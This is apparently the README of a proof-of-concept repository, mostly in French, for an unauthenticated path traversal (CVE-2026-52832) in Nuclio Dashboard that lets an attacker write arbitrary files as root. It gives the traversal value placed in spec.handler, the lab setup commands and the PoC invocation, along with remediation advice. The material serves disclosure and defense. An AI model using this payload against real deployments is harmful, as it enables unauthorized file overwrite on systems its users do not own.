
Nuclio Dashboard (NOP mode) accepts unauthenticated POST /api/functions. The spec.handler field isn't path-validated, so ../../../../tmp/x.txt:handler escapes the build tempdir via path.Join, letting an attacker write arbitrary content to any path as root. (CVE-2026-52832, ≤1.15.27)
Écriture arbitraire de fichier non authentifiée (en tant que root) dans Nuclio Dashboard via une traversée de chemin dans spec.handler.
| CVE | CVE-2026-52832 |
| GHSA | GHSA-wpcj-rmv4-86qg |
| Versions concernées | Nuclio ≤ 1.15.27 |
| Version corrigée | 1.16.5 (PR #4143, commit 2a55d3a) |
| Classe | CWE-22 Traversée de chemin → Écriture arbitraire de fichier |
| CVSS | 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) |
Nuclio Dashboard en mode d'authentification NOP par défaut accepte POST /api/functions sans authentification. Le champ spec.handler (module:entrypoint) n'est pas validé au niveau du chemin, de sorte qu'une valeur comme ../../../../tmp/x.txt:handler s'échappe du répertoire temporaire de build via path.Join(tempDir, moduleFileName), permettant à un attaquant d'écrire du contenu base64 arbitraire (spec.build.functionSourceCode) dans n'importe quel chemin du conteneur Nuclio Dashboard. Le processus s'exécute en tant que uid=0 (root).
Cible vulnérable :
docker run -d --name nuclio-vuln -p 127.0.0.1:8070:8070 \
-v /var/run/docker.sock:/var/run/docker.sock \
quay.io/nuclio/dashboard:1.15.27-amd64
Contrôle corrigé :
docker run -d --name nuclio-patched -p 127.0.0.1:8071:8070 \
-v /var/run/docker.sock:/var/run/docker.sock \
quay.io/nuclio/dashboard:1.16.5-amd64
Attendez que curl http://127.0.0.1:8070/api/functions renvoie 200 {}.
./poc/poc.sh http://127.0.0.1:8070 nuclio-vuln
Résultat attendu : [+] SUCCESS un fichier marqueur inoffensif est écrit en dehors du répertoire temporaire de build, appartenant à root.
Avec l'image corrigée, la même requête est rejetée avec HTTP 500 et Handler module name resolves outside the build directory, et aucun fichier n'est créé.
docker run -d --name nuclio-vuln -p 127.0.0.1:8070:8070
-v /var/run/docker.sock:/var/run/docker.sock
quay.io/nuclio/dashboard:1.15.27-amd64
curl http://127.0.0.1:8070/api/functions # attendu : {}
chmod +x poc.sh ./poc.sh http://127.0.0.1:8070 nuclio-vuln
Un attaquant réseau non authentifié peut créer ou écraser n'importe quel fichier avec un contenu arbitraire dans le système de fichiers du conteneur Nuclio Dashboard, en tant que root.
Mettez à niveau vers Nuclio ≥ 1.16.5, qui ajoute common.IsPathWithinDir avant os.WriteFile dans pkg/processor/build/builder.go. De plus : activez l'authentification au lieu de NOP, restreignez l'accès réseau à Nuclio Dashboard et évitez de monter le socket Docker lorsque ce n'est pas nécessaire.
Uniquement à des fins de recherche en sécurité autorisée et de défense. Le PoC inclus n'écrit qu'un fichier marqueur inoffensif horodaté. Ne l'exécutez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation de tester.